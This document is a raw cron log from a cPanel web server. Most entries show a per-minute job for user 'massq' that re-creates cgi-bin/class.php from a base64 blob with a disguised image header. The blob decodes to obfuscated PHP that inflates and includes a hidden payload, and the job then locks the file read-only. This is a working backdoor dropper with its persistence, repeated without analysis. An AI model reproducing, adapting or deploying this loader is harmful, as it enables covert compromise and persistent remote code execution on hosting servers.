Nov 12 18:09:01 server CROND[27560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:09:01 server CROND[27561]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 18:10:01 server CROND[28396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:10:01 server CROND[28397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:10:01 server CROND[28398]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 18:10:01 server CROND[28399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:11:01 server CROND[29288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:12:01 server CROND[30083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:12:01 server CROND[30084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 18:13:01 server CROND[31003]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:14:01 server CROND[31953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:15:01 server CROND[32333]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:15:01 server CROND[32336]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:15:01 server CROND[32337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:15:01 server CROND[32339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:15:01 server CROND[32335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:16:01 server CROND[439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:17:01 server CROND[1366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:18:01 server CROND[2249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:19:01 server CROND[2695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:20:01 server CROND[3469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:20:01 server CROND[3478]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 18:20:01 server CROND[3479]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 18:20:01 server CROND[3482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:20:01 server CROND[3480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:21:01 server CROND[4399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
